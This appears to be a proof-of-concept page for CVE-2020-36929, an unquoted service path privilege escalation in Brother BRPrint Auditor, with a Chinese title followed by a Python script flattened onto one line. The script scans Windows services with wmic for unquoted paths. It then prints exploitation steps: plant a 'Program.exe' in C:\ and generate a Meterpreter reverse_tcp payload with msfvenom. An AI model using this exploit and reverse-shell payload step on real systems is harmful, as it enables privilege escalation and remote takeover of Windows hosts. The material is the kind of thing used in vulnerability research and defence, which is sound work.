CVE-2020-36929 Brother BRPrint Auditor 未引号服务路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2020-36929 PoC - Brother BRPrint Auditor Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability # Attackers can place a malicious executable in an intermediate directory import os import sys import subprocess def check_unquoted_paths(): """Check for unquoted service paths in Windows services""" services = ['BrAuSvc', 'BRPA_Agent'] vulnerable_services = [] try: # Query Windows services for executable paths result = subprocess.check_output( ['wmic', 'service', 'get', 'name,pathname', '/format:csv'], text=True ) for service in services: if service.lower() in result.lower(): for line in result.split('\n'): if service.lower() in line.lower() and 'pathname' not in line: if '"' not in line.split(',')[-1]: vulnerable_services.append({ 'service': service, 'path': line.split(',')[-1].strip() }) except Exception as e: print(f"Error checking services: {e}") return vulnerable_services def create_malicious_executable(target_path): """Generate a malicious executable to place in the vulnerable path""" print(f"[*] Vulnerable path detected: {target_path}") print(f"[*] To exploit, create a malicious executable in the intermediate directory") print(f"[*] Example: Place 'Program.exe' in C:\\ to exploit 'C:\\Program Files\\...\\BrAuSvc.exe'") print(f"[*] Generate payload with: msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o Program.exe") def main(): print("=" * 60) print("CVE-2020-36929 - Brother BRPrint Auditor Unquoted Service Path") print("=" * 60) vulnerable = check_unquoted_paths() if vulnerable: print(f"\n[!] Found {len(vulnerable)} vulnerable service(s):\n") for v in vulnerable: print(f"Service: {v['service']}") print(f"Path: {v['path']}") create_malicious_executable(v['path']) print() else: print("\n[+] No vulnerable services found or script requires admin privileges") if __name__ == '__main__': main()